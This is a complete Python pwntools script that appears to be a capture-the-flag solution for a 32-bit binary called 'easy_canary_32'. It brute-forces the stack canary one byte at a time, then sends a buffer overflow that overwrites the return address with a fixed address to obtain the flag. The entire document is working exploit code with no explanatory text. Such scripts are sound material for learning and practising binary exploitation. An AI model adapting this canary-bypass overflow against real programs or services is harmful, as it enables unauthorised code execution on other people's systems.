#!/usr/bin/env python2
#coding:utf-8

from pwn import *
context.log_level = 'debug'

p = process('./easy_canary_32')
p.recvuntil('welcome\n')
canary = b'\x00'
for j in range(3):
    for i in range(0x100):
        p.send(b'a'*100 + canary + chr(i))
        a = p.recvuntil('welcome\n')
        if b'recv' in a:
            canary += chr(i)
            break

p.sendline(b'a'*100 + canary + b'a'*12 + p32(0x080491f6))

flag = p.recv()
p.close()
log.success('flag is: %s', flag.decode("utf-8"))